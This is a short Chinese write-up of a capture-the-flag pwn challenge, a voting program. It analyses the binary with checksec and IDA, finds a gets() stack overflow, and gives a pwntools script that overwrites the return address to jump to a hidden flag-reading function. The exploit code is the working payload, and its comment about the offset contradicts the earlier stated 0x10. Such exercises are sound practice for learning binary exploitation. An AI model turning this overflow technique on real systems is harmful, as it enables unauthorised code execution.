
远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。

file 查看文件。64 位 ELF 可执行文件。

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。

双击 v4,发现了栈溢出大小为 0x2+8=0x10。

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行 fopen("/home/ctf/flag.txt","r"),再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
from pwn import * r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)
得到 flag。

